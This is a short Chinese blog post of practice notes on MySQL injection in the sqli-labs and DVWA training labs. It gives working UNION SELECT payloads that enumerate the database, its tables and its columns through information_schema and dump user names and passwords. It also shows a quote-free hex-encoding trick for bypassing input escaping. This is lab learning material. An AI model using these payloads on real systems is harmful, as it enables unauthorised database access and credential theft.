Posted in MySQL onMay 30, 2021
以sqli-labs-master作为练习
初始:简单获取基础内容
第一步,使用拼接的方式决定注入类型
第二部,使用order by确定有表单有几列值
order by根据指定的列对结果集进行排序
第三步,使用union select 来找到内容,获取想要得到内容
union select :联合查询
进阶,通过mysql注入获取表单内容,托库;
第一步:通过数据库语句进行搜索,首先确定数据库
第二部:确定数据库后,爆出它的表;
第三步:确定表以后,可根据实际需求爆表,这里以users举例,进行爆字段
第四部:确定字段后,我们就可以拖库;
DVWA训练基础 low级别
1.参照上文确定当前库
1' union select (select database()),2 -- -
2.确定库后,爆表
1' union select (select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'),2 -- -
3.确定表后,爆字段
1' union select (select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name='users'),2 -- -
4.确定字段后,进行拖库
1' union select (select group_concat(concat_ws(0x7e,user,password))from users),2 -- -
级别Medium
与low级别不同,没有输入框,只有选择项,所以需要借助bp工具
1.打开代理使用bp进行抓包并发送到Repeater模块进行反复验证
2.其余步骤参考上文:暴库
爆表
ps:因为后台强制转译的问题,要注意避免单引号
爆字段
同爆表,因为转译的问题,要注意避免引号,可使用编译规避;
1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = (select database()) and table_name=0x7573657273)
拖库
MySQL注入基础练习
- Author -
纪迁辰声明:登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。
Reply on: @reply_date@
@reply_contents@